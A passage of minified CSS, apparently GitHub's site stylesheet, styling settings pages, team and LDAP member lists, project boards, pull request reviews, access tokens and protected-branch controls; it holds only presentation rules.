.loading-spinner{float:left;margin:0 0 0 -16px;vertical-align:middle}.saml-enabled-banner-container{background-color:var(--color-canvas-default)}.saml-settings-form .test-status-indicator,.oidc-settings-form .test-status-indicator{width:30px;height:30px;margin-top:-4px;border-radius:50%}.saml-settings-form .test-status-indicator .octicon,.oidc-settings-form .test-status-indicator .octicon{display:block;margin-top:8px;margin-right:auto;margin-left:auto}.saml-settings-form .form-group.errored,.oidc-settings-form .form-group.errored{margin-bottom:40px}.saml-settings-form .test-status-indicator-error,.oidc-settings-form .test-status-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis)}.saml-settings-form .test-status-indicator-success,.oidc-settings-form .test-status-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.saml-settings-form .details-container .method-field,.oidc-settings-form .details-container .method-field{display:none}.saml-settings-form .details-container .method-label,.oidc-settings-form .details-container .method-label{font-weight:400}.saml-settings-form .details-container .details-target,.oidc-settings-form .details-container .details-target{cursor:pointer}.saml-settings-form .details-container.open .method-value,.saml-settings-form .details-container.open .details-target,.oidc-settings-form .details-container.open .method-value,.oidc-settings-form .details-container.open .details-target{display:none}.saml-settings-form .details-container.open .method-field,.oidc-settings-form .details-container.open .method-field{display:inline-block}.saml-settings-form .saml-enforcement-disabled,.oidc-settings-form .saml-enforcement-disabled{opacity:.5}.form-group .form-control.saml-certificate-field{width:440px;height:150px;min-height:0}.member-avatar{float:left;margin:1px}.member-fullname{color:var(--color-fg-muted)}.auto-search-group{position:relative}.auto-search-group .auto-search-input{padding-left:32px}.auto-search-group .spinner,.auto-search-group>.octicon{position:absolute;left:10px;z-index:5;width:16px;height:16px}.auto-search-group .spinner{top:9px;background-color:var(--color-canvas-default)}.auto-search-group>.octicon{top:10px;font-size:14px;color:var(--color-fg-muted);text-align:center}.org-list .list-item{position:relative;padding-top:16px;padding-bottom:16px;border-bottom:1px solid var(--color-border-muted)}.org-list .list-item::before{display:table;content:""}.org-list .list-item::after{display:table;clear:both;content:""}.permission-level-cell .select-menu-button{width:90px;text-align:left}.permission-level-cell .select-menu-button::after{position:absolute;top:10px;right:10px}.permission-level-cell .spinner{float:none;opacity:0;transition:opacity .2s ease-in-out}.permission-level-cell .is-loading .spinner{opacity:1}.select-menu-option-title{margin-top:0;margin-bottom:0}.reinstate-org-member{position:relative;width:500px;margin:40px auto}.reinstate-org-member .reinstate-lead{margin-bottom:32px;font-size:16px}.reinstate-org-member label{cursor:pointer}.reinstate-org-member .reinstate-detail-container{margin:16px 0}.reinstate-org-member .reinstate-title{color:var(--color-fg-default)}.reinstate-org-member .reinstate-title .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.permission-title{margin-top:0}.invite-member-results ul{margin:0}.team-member-list{list-style:none}.team-member-list .table-list-cell{padding-top:16px;padding-bottom:16px}.team-member-list .team-member-content{margin-left:50px}.team-member-list .team-member-username{margin:0;font-size:14px;font-weight:600;line-height:20px}.team-member-list .Label--secondary{cursor:default}.team-member-list .invite-icon{width:28px;color:var(--color-fg-muted)}.menu-item-danger,.menu-item-danger.selected{color:var(--color-danger-fg)}.menu-item-danger:hover,.menu-item-danger[aria-selected=true],.menu-item-danger.navigation-focus,.menu-item-danger.selected:hover,.menu-item-danger.selected[aria-selected=true],.menu-item-danger.selected.navigation-focus{color:var(--color-fg-on-emphasis);background:var(--color-danger-emphasis)}.team-member-list-avatar{float:left;margin-right:8px}.team-member-list-avatar .octicon{width:40px;color:var(--color-fg-muted)}.confirm-removal-list-container{margin-bottom:16px;border:1px solid var(--color-border-default);border-radius:6px}.confirm-removal-list-item{padding:8px;margin:0;font-size:14px;font-weight:600;border-top:1px solid var(--color-border-muted)}.confirm-removal-list-item:first-child{border-top:0}.manage-member-meta{list-style:none}.manage-member-meta-item{margin-top:12px;color:var(--color-fg-muted)}.manage-member-meta-item:first-child{margin-top:0}.manage-member-meta-item .btn-link{color:var(--color-fg-muted)}.manage-member-meta-item>.octicon{width:14px;margin-right:4px;color:var(--color-fg-muted);text-align:center}.manage-member-meta-item>.octicon-alert{color:var(--color-severe-fg)}.ldap-group-dn{display:block;font-weight:400;color:var(--color-fg-muted)}.ldap-import-groups-container .blankslate{display:none}.ldap-import-groups-container.is-empty .blankslate{display:block}.ldap-import-groups-container.is-empty .ldap-memberships-list{display:none}.ldap-memberships-list{margin-bottom:32px}.ldap-memberships-list .table-list-cell{padding-top:8px;padding-bottom:8px;font-size:12px;vertical-align:middle}.ldap-memberships-list .table-list-cell:last-child{width:92px}.ldap-memberships-list .ldap-list-team-name{width:380px}.ldap-memberships-list .ldap-group-dn{font-size:12px}.ldap-memberships-list .ldap-mention-as{width:260px}.ldap-memberships-list .edit{position:absolute;padding:8px;margin-left:-32px;color:var(--color-accent-fg);cursor:pointer}.ldap-memberships-list .edit-fields{display:none}.ldap-memberships-list .is-editing .edit-hide{display:none}.ldap-memberships-list .is-editing .edit-fields{display:block}.ldap-memberships-list .is-editing .spinner{margin-left:16px;vertical-align:middle}.ldap-memberships-list .is-removing{opacity:.25}.ldap-memberships-list .is-removing .edit{opacity:.5}.team-name-field{height:33px}.ldap-import-form-actions{margin-top:32px}.invited .team-member-list{margin:-16px 0}.invited .team-member-list .list-item{padding:8px 0;border-bottom:1px solid var(--color-border-muted)}.invited .team-member-list .list-item::before{display:table;content:""}.invited .team-member-list .list-item::after{display:table;clear:both;content:""}.invited .team-member-list .list-item:last-of-type{border:0}.invited .team-member-list .list-item .edit-invitation{float:right;margin-top:4px}.invited-banner::before{display:table;content:""}.invited-banner::after{display:table;clear:both;content:""}.invited-banner .btn-sm{float:right;margin-left:4px}.invited-banner p{font-size:14px;line-height:1.5}.invited-banner .inviter-link{font-weight:600}.manage-member-sso-sessions.has-active-sessions .blankslate{display:none}.org-menu-item:not([aria-current=page])+.org-sub-menu{display:none}.trial-banner-notice{background-image:linear-gradient(180deg, #0366d6 0%, #2188ff 100%)}@media(min-width: 768px){.Popover-message--extra-large{min-width:544px !important}}.theme-picker{margin-bottom:-1px;background-color:var(--color-canvas-default);background-clip:padding-box;border-bottom:1px solid var(--color-border-default);box-shadow:var(--color-shadow-medium)}.theme-picker>.container{position:relative;overflow:hidden;text-align:center}.theme-picker-thumbs{border-bottom:1px solid var(--color-border-muted)}.theme-toggle{width:32px;height:32px;padding:0;color:var(--color-fg-muted);background:none;border:0}.theme-toggle:hover{color:var(--color-accent-fg);text-decoration:none}.theme-toggle.disabled,.theme-toggle.disabled:hover{color:var(--color-fg-muted);cursor:not-allowed}.theme-toggle-full-left,.theme-toggle-full-right{position:absolute;top:50px;overflow:hidden}.theme-toggle-full-left{left:4px}.theme-toggle-full-right{right:4px}.theme-selector{height:102px;margin:16px 46px}.theme-selector-thumbnail{padding:2px;border:1px solid var(--color-border-muted)}.theme-selector-thumbnail:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.theme-selector-thumbnail.selected{padding:4px;background-color:var(--color-accent-emphasis);border:0}.theme-selector-thumbnail.selected .theme-selector-img{border:1px solid var(--color-canvas-default)}.theme-selector-img{width:126px;height:96px;border-radius:1px}.theme-picker-spinner{position:absolute;top:16px;left:50%;margin-left:-16px;background-color:var(--color-canvas-default);opacity:1;transition:.2s,opacity ease-in-out}.theme-picker-spinner~.theme-picker-controls .theme-name{opacity:0}.theme-picker-view-toggle{float:left}.theme-picker-view-toggle .for-hiding{display:none}.theme-picker-view-toggle.open .for-hiding{display:inline}.theme-picker-view-toggle.open .for-showing{display:none}.theme-picker-controls{position:absolute;top:15px;left:50%;width:220px;margin-left:-110px;line-height:34px;text-align:center}.theme-picker-controls .theme-toggle{vertical-align:middle}.theme-name{display:inline-block;margin-right:8px;margin-left:8px;font-size:20px;line-height:1;vertical-align:middle}.page-preview{z-index:-100;display:block;width:100%;height:6000px;padding:0;background-color:var(--color-canvas-default);border:0}.pinned-items-spinner{position:relative;top:2px;left:6px}.pinned-items-setting-link{font-size:12px;font-weight:400}.pinned-item-name{color:var(--color-fg-default)}.pinned-item-checkbox+.pinned-item-name:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg);border-radius:6px}.pinned-item-checkbox:disabled+.pinned-item-name{color:var(--color-fg-muted)}.pinned-item-checkbox:disabled+.pinned-item-name:hover{cursor:default}.pinned-gist-blob-num{min-width:36px;cursor:default}.pinned-gist-blob-num:hover{color:var(--color-fg-muted);cursor:default}@media print{#serverstats,.Header-old,.Header,.header-search,.reponav,.comment::before,.comment::after,.footer,.pagehead-actions,.discussion-timeline-actions,.timeline-comment-actions,.timeline-new-comment,.thread-subscription-status,.lock-toggle-link,.header,.file-actions,.js-expandable-line,.gh-header-sticky,.pr-toolbar.is-placeholder,.language-color{display:none !important}.repository-lang-stats-graph{height:0}.btn:not(.btn-outline){color:var(--color-fg-default) !important;background:none}p,.comment h2{page-break-inside:avoid}.markdown-body h2{page-break-after:avoid}.topic-tag{padding:0}.topic-tag::before{margin-right:-2px;content:"#"}.blob-num{border-right:2px solid var(--color-border-default)}.blob-num-deletion{border-right-color:var(--color-danger-emphasis)}.blob-num-addition{border-right-color:var(--color-success-emphasis)}.blob-code-addition .x{border-bottom:2px solid var(--color-success-emphasis);border-radius:0}.blob-code-deletion .x{border-bottom:2px solid var(--color-danger-emphasis);border-radius:0}.pr-toolbar.is-stuck{position:static !important;width:100% !important}.diffstat-block-neutral{border:4px solid var(--color-border-default)}.diffstat-block-deleted{border:4px solid var(--color-danger-emphasis)}.diffstat-block-added{border:4px solid var(--color-success-emphasis)}.State{color:var(--color-fg-default);background:none;border:1px solid var(--color-border-default);border-color:none}.State--open{color:var(--color-success-fg);border:1px solid #2cbe4e}.State--merged{color:var(--color-done-fg);border:1px solid var(--color-done-emphasis)}.State--closed{color:var(--color-danger-fg);border:1px solid var(--color-danger-emphasis)}.markdown-body pre>code{white-space:pre-wrap}}.projects-splash-dialog{position:fixed;top:0;right:auto;left:50%;z-index:999;width:90vw;max-width:700px;max-height:80vh;margin:10vh auto;transform:translateX(-50%)}@media(min-width: 544px){.projects-splash-dialog{margin:20vh auto}}.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-mobile.png");background-repeat:no-repeat;background-position:left;background-size:cover}@media(min-width: 768px){.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner.png")}}.projects-splash-banner p{max-width:100%}@media(min-width: 768px){.projects-splash-banner p{max-width:55%}}@media(min-width: 768px){[data-color-mode=light][data-light-theme*=dark] .projects-splash-banner,[data-color-mode=dark][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: light)and (min-width: 768px){[data-color-mode=auto][data-light-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: dark)and (min-width: 768px){[data-color-mode=auto][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}.project-description p:last-child{margin-bottom:0 !important}.pending-cards-status{top:-2px;right:-9px;width:14px;height:14px;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-canvas-default)}.project-column{min-width:100%;max-width:100%;background-color:var(--color-canvas-inset);border-width:0 !important;border-radius:0 !important}.project-column:focus{outline:none}@media(min-width: 544px){.project-column{min-width:355px;max-width:355px;border-width:1px !important;border-radius:6px !important}.project-column:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus)}}.project-column.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus);transform:translateX(4px) translateY(-4px)}.sortable-ghost{background-color:var(--color-canvas-subtle);opacity:.5}.project-card{background-color:var(--color-canvas-overlay)}.project-card .project-reference-markdown>p,.project-card:last-child{margin-bottom:0 !important}.project-card:first-child{margin-top:8px !important}@media(min-width: 544px){.project-card:first-child{margin-top:4px !important}}.project-card ul,.project-card ol{margin-bottom:8px;margin-left:16px}.project-card blockquote{padding:0 .75em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.project-card .contains-task-list{margin-left:24px}.project-card:hover{border-color:var(--color-border-default) !important;box-shadow:0 1px 3px rgba(106,115,125,.3) !important}.project-card:focus{outline:none}@media(min-width: 544px){.project-card:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus) !important}}.project-card.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus) !important;transform:translateX(4px) translateY(0)}.issue-card.draggable{cursor:move}.issue-card .AvatarStack:hover .from-avatar{margin-right:-4px}.issue-card pre{word-wrap:break-word;white-space:pre-wrap}@keyframes show-pane{0%{transform:translateX(390px)}100%{transform:translateX(0)}}.project-note-form textarea{resize:vertical}.card-menu-container .dropdown-menu,.column-menu-container .dropdown-menu{min-width:180px}.card-octicon{top:6px;left:10px}.card-note-octicon{top:8px}.is-sending .auto-search-group .chooser-spinner{top:15px;right:21px;left:auto}.card-filter-autocomplete-dropdown{z-index:500;float:none;min-width:240px;max-height:270px;cursor:pointer}.card-filter-autocomplete-dropdown [aria-selected=true],.card-filter-autocomplete-dropdown .navigation-focus{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis);border-radius:6px}.card-filter-autocomplete-dropdown [aria-selected=true] .autocomplete-text-qualifier,.card-filter-autocomplete-dropdown .navigation-focus .autocomplete-text-qualifier{color:var(--color-fg-on-emphasis) !important}.projects-reset-query:hover .projects-reset-query-icon{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis)}.projects-reset-query-icon{width:18px;height:18px;padding:1px;background-color:var(--color-fg-muted)}.project-small-menu-dropdown::before,.project-small-menu-dropdown::after{display:none}.project-edit-mode .column-menu-container,.project-edit-mode .column-menu-item{display:none !important}.project-edit-mode .project-move-actions{display:flex !important}.push-board-over{padding-right:0 !important;transition:all .2s ease}@media(min-width: 544px){.push-board-over{padding-right:360px !important}}.projects-comment-form .comment-md-support-link{float:none;width:100%;text-align:center}.projects-comment-form .comment-form-actions{width:100%;padding:8px 16px;margin:4px 0 !important}.projects-comment-form .comment-form-actions button{width:100%;margin:4px 0 !important}.projects-comment-form .comment-form-head{padding:0 !important;margin:0 !important;border-bottom:0}.projects-comment-form .comment-form-head .tabnav-tabs{padding:8px 8px 0}.projects-comment-form .comment-form-head .toolbar-commenting{width:100%;padding-top:4px;text-align:center;background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-default)}.projects-comment-form .comment-form-head::after{display:block;clear:both;content:" "}.projects-comment-form .comment-form-textarea{height:250px !important}.projects-comment-form .preview-content{margin:0;border-top:1px solid var(--color-border-default)}.projects-comment-form .preview-content .comment-body{padding:16px}.project-issue-body-wrapper{max-height:200px;overflow:hidden}.Details--on .project-issue-body-wrapper{max-height:none;overflow:visible}.project-issue-body-blur{height:32px;background:linear-gradient(to top, var(--color-project-gradient-in), var(--color-project-gradient-out))}.Details--on .project-issue-body-blur{height:0}.project-comment-title-hover .comment-action,.project-comment-body-hover .comment-action{opacity:0}.project-comment-title-hover:hover .comment-action,.project-comment-body-hover:hover .comment-action{opacity:1}.project-comment-body-reaction .timeline-comment-action{padding:4px 8px}.project-name-hover .project-name-edit-action{opacity:0}.project-name-hover:hover .project-name-edit-action{opacity:1}.vcard-fullname{font-size:24px;line-height:1.25}.vcard-username{font-size:20px;font-style:normal;font-weight:300;line-height:24px;color:var(--color-fg-muted)}.user-profile-bio-message{margin:4px 0 0;font-size:12px;color:var(--color-fg-default)}.user-profile-following-container .user-following-container.on .follow,.user-profile-following-container .user-following-container .unfollow{display:none}.user-profile-following-container .user-following-container .follow,.user-profile-following-container .user-following-container.on .unfollow{display:block}.user-repo-search-results-summary{white-space:normal}.pull-request-tab-content{display:none}.pull-request-tab-content.is-visible{display:block}.discussion-timeline p.explain{margin:0;font-size:12px}.pull-request-ref-restore{display:none}.pull-request-ref-restore-text{display:block}.pull-discussion-timeline.is-pull-restorable .pull-request-ref-restore.last{display:block}.files-bucket{margin-bottom:16px}.full-width .diffbar .container{padding-right:0;padding-left:0}.stale-files-tab{float:left;padding:4px 8px;margin-top:-4px;margin-bottom:-4px;color:var(--color-severe-fg);background-color:var(--color-severe-subtle);border-radius:6px}.stale-files-tab-link{font-weight:600;color:inherit}.pr-toolbar{position:sticky;top:0;z-index:29;min-height:60px;padding:0 16px;margin:-16px -16px 0}.pr-toolbar .float-right .diffbar-item{margin-right:0}.pr-toolbar .float-right .diffbar-item+.diffbar-item{margin-left:16px}.pr-toolbar.is-stuck{height:60px;background-color:var(--color-canvas-default)}@media(min-width: 1150px){.commit-build-statuses .status-checks-dropdown{width:500px}}.full-commit .commit-build-statuses .status-checks-dropdown{width:500px}.files-next-bucket .file,.files-next-bucket .full-commit{margin-top:0;margin-bottom:16px}.diffbar{background-color:var(--color-canvas-default)}.diffbar .show-if-stuck{display:none}.diffbar .container{width:auto}.diffbar .table-of-contents{margin-bottom:0}.diffbar .table-of-contents ol{margin-bottom:-16px}.diffbar .table-of-contents li{border-top:1px solid var(--color-border-muted)}.diffbar .table-of-contents li:first-child{border-top:0}.diffbar [role^=menuitem]:focus:not(.is-range-selected) .text-emphasized,.diffbar [role^=menuitem]:hover:not(.is-range-selected) .text-emphasized{color:var(--color-fg-on-emphasis)}.is-stuck .diffbar .show-if-stuck{display:block}.is-stuck .diffbar .diffstat{display:none}.is-stuck .diffbar .stale-files-tab{margin-top:-8px}.diffbar-item{float:left;font-size:12px;vertical-align:middle}.add-comment-label,.is-review-pending .start-review-label{display:none}.start-review-label,.is-review-pending .add-comment-label{display:inline-block}.is-review-pending .review-simple-reply-button{display:none}.review-comment-contents{margin-left:44px}.review-comment::after,.review-comment-loader::after,.review-comment.is-comment-editing::after{position:absolute;top:31px;left:29px;z-index:-1;width:3px;height:100%;content:"";background-color:var(--color-canvas-subtle)}.review-comment{position:relative;padding:8px 16px;color:var(--color-fg-default)}.review-comment:first-child{padding-top:16px}.review-comment:last-child{padding-bottom:16px}.review-comment .comment-body,.review-comment .comment-reactions{padding:0}.review-comment .comment-body{padding-top:4px}.review-comment .comment-body .suggested-change-form-container:nth-last-of-type(2){margin-bottom:0 !important}.review-comment .comment-reactions{margin-top:4px;border-top:0 !important}.review-comment .comment-reactions.has-reactions{margin-top:12px}.review-comment .show-more-popover.dropdown-menu-sw{right:-5px;margin-top:4px}.review-comment:last-child::after,.review-comment:last-child .review-comment-contents::after{display:none}.review-comment .timeline-comment-action{padding:0 4px}.review-comment .is-comment-editing{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.review-comment .is-comment-editing::after{top:100%;bottom:0;left:19px;height:20px}.review-comment .is-comment-editing .timeline-comment-actions,.review-comment .is-comment-editing .edit-comment-hide{display:none}.review-comment .is-comment-editing .previewable-comment-form{display:block}.review-comment.is-comment-loading .previewable-comment-form{opacity:.5}.pr-review-reactions .has-reactions,.pr-review-reactions .has-reactions.comment-reactions{margin-bottom:16px;margin-left:16px}.timeline-comment.is-comment-editing .discussion-item-header{display:none}.review-thread-reply{padding:8px 16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.review-thread-reply .inline-comment-form{margin:-8px -16px;background-color:var(--color-canvas-default);border:0}.review-thread-reply-button{display:inline-block;min-height:28px;padding:4px 8px;margin-left:8px;cursor:text}.readme.contributing>div{max-height:250px;overflow:auto}.readme .markdown-body,.readme .plain{word-wrap:break-word}.readme .plain pre{font-size:14px;white-space:pre-wrap}.file .readme table[data-table-type=yaml-metadata]{font-size:12px;line-height:1}.file .readme table[data-table-type=yaml-metadata] table{margin:0}.labels-list .blankslate{display:none}.labels-list .table-list-header{display:block}.labels-list.is-empty .blankslate{display:block}.labels-list.is-empty .table-list-header{display:none}.label-select-menu-item .g-emoji{font-size:12px;line-height:1;vertical-align:baseline}.label-edit::before{display:table;content:""}.label-edit::after{display:table;clear:both;content:""}.label-edit label{display:block;margin-bottom:8px}.label-edit .error{float:left;margin-top:8px;margin-left:8px;color:var(--color-danger-fg)}.label-edit.loading{display:block}.label-characters-remaining{color:var(--color-fg-muted)}.repo-list{position:relative}.repo-list-item{position:relative;padding-top:32px;padding-bottom:32px;list-style:none;border-bottom:1px solid var(--color-border-muted)}.repo-list-item-with-avatar{padding-left:42px}.repo-list-item-hanging-avatar{float:left;margin-left:-42px}.mini-repo-list-item{position:relative;display:block;padding:4px 64px 4px 32px;font-size:14px;border-top:1px solid var(--color-border-default)}.mini-repo-list-item:hover{text-decoration:none}.mini-repo-list-item:hover .repo,.mini-repo-list-item:hover .owner{text-decoration:underline}.mini-repo-list-item .repo-icon{float:left;margin-top:2px;margin-left:-16px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-and-owner{max-width:220px}.mini-repo-list-item .owner{max-width:110px}.mini-repo-list-item .repo{font-weight:600}.mini-repo-list-item .stars{position:absolute;top:0;right:10px;margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-description{display:block;max-width:100%;font-size:12px;line-height:21px;color:var(--color-fg-muted)}.private .mini-repo-list-item{background-color:var(--color-attention-subtle)}.private .mini-repo-list-item .repo-icon{color:var(--color-attention-fg)}.form-group.errored label .commit-ref{background-color:var(--color-danger-subtle)}.repo-menu-item:not([aria-current=page])+.repo-sub-menu{display:none}.feature-callout .new-label-hidden{display:none}.feature-callout .new-feature-label.new-label-hidden{display:inline}.repository-og-image{width:100%;max-width:640px;height:320px;object-fit:cover;object-position:center;background-repeat:no-repeat;background-position:center;background-size:cover}.line-clamp-2{display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden}.timeout{width:auto;height:300px;padding:0;margin:16px 0;background-color:transparent;border:0}.timeout h3{padding-top:100px;color:var(--color-fg-muted)}.repo-language-color{position:relative;top:1px;display:inline-block;width:12px;height:12px;border:1px solid var(--color-primer-border-contrast);border-radius:50%}.iconbutton .octicon{margin-right:0}.prereceive-feedback{padding:16px;margin-bottom:16px;border:1px solid #dfe2e5;border-left:6px solid #caa21a;border-radius:6px}.prereceive-feedback-heading{margin-top:0;margin-bottom:8px;color:var(--color-attention-fg)}.repository-item-checkbox:checked+.repository-item-name{background-color:var(--color-accent-subtle)}.custom-role-icon{background-color:var(--color-canvas-subtle)}.profile-picture{margin:8px 0 0}.profile-picture>p{float:left;margin:0;line-height:30px}.profile-picture>img{float:left;margin:0 8px 0 0;border-radius:6px}.app-owner{margin:16px 0 0}.avatar-upload .flash{width:100%;padding:32px 16px;border:dashed 1px var(--color-danger-emphasis);box-shadow:none}.avatar-upload .upload-state{display:none;padding:8px 0}.avatar-upload .upload-state p{margin:0;font-size:12px;color:var(--color-fg-muted)}.avatar-upload .avatar-upload .octicon{display:inline-block}.is-uploading .avatar-upload .loading{display:block;padding:0}.is-uploading .avatar-upload .loading img{vertical-align:top}.is-uploading .avatar-upload .button-change-avatar{display:none}.is-bad-file .avatar-upload .bad-file{display:block;margin:0}.is-too-big .avatar-upload .too-big{display:block;margin:0}.is-bad-dimensions .avatar-upload .bad-dimensions{display:block;margin:0}.is-bad-format .avatar-upload .bad-format{display:block;margin:0}.is-failed .avatar-upload .failed-request{display:block;margin:0}.is-empty .avatar-upload .file-empty{display:block;margin:0}dl.new-email-form{padding:8px 8px 0;margin:0 -8px 8px;border-top:1px solid var(--color-border-default)}.recent-user-key-access{color:#1e7e34}.oauth-app-info-container .float-left-container{float:left;text-align:left}.oauth-app-info-container .float-right-container{float:right;text-align:right}.oauth-app-info-container dl.keys{margin:8px 0}.oauth-app-info-container dl.keys dt{margin-top:8px;font-weight:600;color:var(--color-fg-muted)}.oauth-app-info-container dl.keys dd{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-default)}.oauth-app-info-container .user-count{font-size:32px;font-weight:300;color:var(--color-fg-muted)}.access-token{border-bottom:1px solid var(--color-border-muted)}.access-token:last-child{border:0}.access-token .last-used{margin-right:8px}.access-token.new-token{background-color:rgba(108,198,68,.1)}.access-token.new-token .octicon-check{color:var(--color-success-fg)}.access-token .token-description{max-width:450px;color:var(--color-fg-default)}.access-token .token{font-size:14px}.access-token .token-type{min-width:76px}table.security-history-detail{width:100%;font-size:12px}table.security-history-detail td{max-width:200px;word-wrap:break-word}.u2f-registration{position:relative;padding-bottom:4px;margin-bottom:4px}.u2f-registration.is-sending .u2f-registration-delete{display:none}.u2f-registration.is-sending .spinner{position:relative;top:3px}.u2f-registration-icon{position:absolute;left:-24px;color:var(--color-fg-muted)}.new-u2f-registration{position:relative}.new-u2f-registration .add-u2f-registration-form:not(.for-trusted-device){display:none;margin-bottom:8px}.new-u2f-registration.is-active .add-u2f-registration-link{display:none}.new-u2f-registration.is-active .add-u2f-registration-form{display:block}.new-u2f-registration .webauthn-request-interaction,.new-u2f-registration .webauthn-request-error{display:none}.new-u2f-registration.is-sending .webauthn-request-interaction{display:block}.new-u2f-registration.is-showing-error .webauthn-request-error{display:block}.spinner{display:none}.is-sending .spinner{display:inline-block}.confirmation-phrase{font-style:italic;font-weight:400}.session-device .session-state-indicator.recent{background-color:var(--color-success-emphasis);box-shadow:0 0 10px rgba(108,198,68,.5)}.session-device .session-state-indicator.revoked{background-color:var(--color-danger-emphasis);box-shadow:0 0 10px rgba(198,108,68,.5)}.session-device .session-state-indicator.not-recent{background-image:linear-gradient(#aaa, #ccc);box-shadow:0 1px 0 #fff}.collaborators .collab-list{border-bottom-width:0}.collaborators .collab-list-item:first-child .collab-list-cell{border-top-width:0}.collaborators .collab-list-cell{padding-top:16px;padding-bottom:16px;vertical-align:middle}.collaborators .collab-meta{width:140px}.collaborators .collab-remove{padding-right:16px;text-align:right}.collaborators .collab-remove .remove-link{color:var(--color-fg-muted)}.collaborators .collab-remove .remove-link:hover{color:var(--color-danger-fg)}.collaborators .collab-team-link{width:300px}.collaborators .collab-team-link:hover{text-decoration:none}.collaborators .collab-team-link .avatar{float:left;margin-top:1px;margin-right:8px}.collaborators .collab-team-link.disabled{pointer-events:none}.collaborators .collab-info{height:100%;color:var(--color-fg-default)}.collaborators .collab-info .description{padding-right:50px;margin-top:4px;margin-bottom:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.collaborators .collab-info .collab-name{display:block;font-size:14px}.collaborators .collab-info .collab-message{position:relative;top:25%;display:block}.collaborators .copy-invite-modal{left:0;width:300px}@media(min-width: 768px){.collaborators .copy-invite-modal{right:0;left:unset;width:352px}}.collaborators .copy-invite-modal::before,.collaborators .copy-invite-modal::after{display:none}.access-form-wrapper{padding:8px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.access-flash{padding:8px;margin-right:8px;margin-bottom:8px;margin-left:8px}.repo-access-group .blankslate{display:none}.repo-access-group.is-empty .blankslate{display:block}.boxed-group-list .access-level{color:var(--color-fg-muted)}.boxed-group-list .access-level.css-truncate-target{max-width:500px}.settings-next{font-size:14px;line-height:1.5}.settings-next label{font-size:14px}.settings-next .note{font-size:12px}.settings-next .form-checkbox input[type=radio],.settings-next .form-checkbox input[type=checkbox]{margin-top:4px}dl.form-group>dd textarea.compact{height:100px;min-height:0}.form-hr{margin-top:16px;margin-bottom:16px;border-bottom-color:var(--color-border-default, #e5e5e5)}.listgroup{list-style:none;border:1px solid var(--color-border-default, #e5e5e5);border-radius:6px}.listgroup-item{min-height:inherit;padding:8px;font-size:12px;line-height:26px;color:var(--color-fg-muted)}.listgroup-item::before{display:table;content:""}.listgroup-item::after{display:table;clear:both;content:""}.listgroup-item+.listgroup-item{border-top:1px solid var(--color-border-default, #e5e5e5)}.listgroup-item.listgroup-item-preview{line-height:inherit}.listgroup-item.listgroup-item-preview .BtnGroup{margin-top:4px}.listgroup-item .css-truncate-target{max-width:200px}.listgroup-item-title{display:block;font-weight:600}.listgroup-item-body{display:block}.listgroup-header{border-top:0;border-bottom:1px solid var(--color-border-default, #e5e5e5)}.listgroup-overflow{max-height:240px;overflow-y:auto;background-color:var(--color-canvas-subtle, #f5f5f5)}.listgroup-sm .listgroup-item{padding-top:4px;padding-bottom:4px}.protected-branches{margin-top:16px;margin-bottom:16px}.protected-branch-options{margin-left:16px;opacity:.5}.protected-branch-options.active{opacity:1}.protected-branch-reviews.on .require-code-owner-review,.protected-branch-reviews.on .reviews-dismiss-on-push,.protected-branch-reviews.on .reviews-include-dismiss,.protected-branch-reviews.on .allow-force-pushes,.protected-branch-reviews.on .require-approving-reviews{display:block}.protected-branch-reviews .require-code-owner-review,.protected-branch-reviews .reviews-dismiss-on-push,.protected-branch-reviews .reviews-include-dismiss,.protected-branch-reviews .allow-force-pushes,.protected-branch-reviews .require-approving-reviews{display:none}.authorized-pushers{width:440px}.authorized-pushers .add-protected-branch-actor{display:block}.authorized-pushers .actor-limit-reached{display:none;padding:8px;font-size:12px}.authorized-pushers.at-limit .add-protected-branch-actor{display:none}.authorized-pushers.at-limit .actor-limit-reached{display:block;width:440px}.protected-branch-authorized-pushers-table,.protected-branch-pushers-table{margin-top:8px}.protected-branch-authorized-pushers-table .boxed-group-inner,.protected-branch-pushers-table .boxed-group-inner{max-height:350px;overflow-y:auto}.protected-branch-authorized-pushers-table .table-list,.protected-branch-pushers-table .table-list{border-bottom:0}.protected-branch-authorized-pushers-table .table-list-cell,.protected-branch-pushers-table .table-list-cell{vertical-align:middle}.protected-branch-authorized-pushers-table .table-list-cell:first-child,.protected-branch-pushers-table .table-list-cell:first-child{width:100%}.protected-branch-authorized-pushers-table .avatar,.protected-branch-authorized-pushers-table .octicon-jersey,.protected-branch-authorized-pushers-table .octicon-organization,.protected-branch-pushers-table 